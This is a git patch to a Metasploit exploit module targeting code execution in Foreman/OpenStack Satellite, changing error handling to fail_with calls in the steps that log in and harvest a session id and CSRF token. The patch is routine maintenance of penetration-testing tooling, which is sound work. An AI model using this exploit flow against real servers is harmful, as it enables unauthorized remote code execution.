From 6761f95892eb64820c64a41fa6a5426d7dcd0c7c Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Fri, 19 Jul 2013 12:19:29 -0300 Subject: [PATCH] Change print_error/ret to fail_with as per review --- .../foreman_openstack_satellite_code_exec.rb | 28 ++++--------------- 1 file changed, 6 insertions(+), 22 deletions(-) diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index 3d997fc036..6fcc85a5a2 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -62,21 +62,13 @@ class Metasploit4 < Msf::Exploit::Remote } ) - if res.nil? - print_error('No response from remote host') - return - end + fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ - print_error('Authentication failed') - return + fail_with(Exploit::Failure::NoAccess, 'Authentication failed') else session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ - - if session.nil? - print_error('Failed to retrieve the current session id') - return - end + fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? end print_status('Retrieving the CSRF token for this session...') @@ -86,22 +78,14 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri) ) - if res.nil? - print_error('No response from remote host') - return - end + fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ - print_error('Failed to retrieve the CSRF token') - return + fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') else csrf_param = $1 if res.body =~ // csrf_token = $1 if res.body =~ // - - if csrf_param.nil? || csrf_token.nil? - print_error('Failed to retrieve the CSRF token') - return - end + fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil? end payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)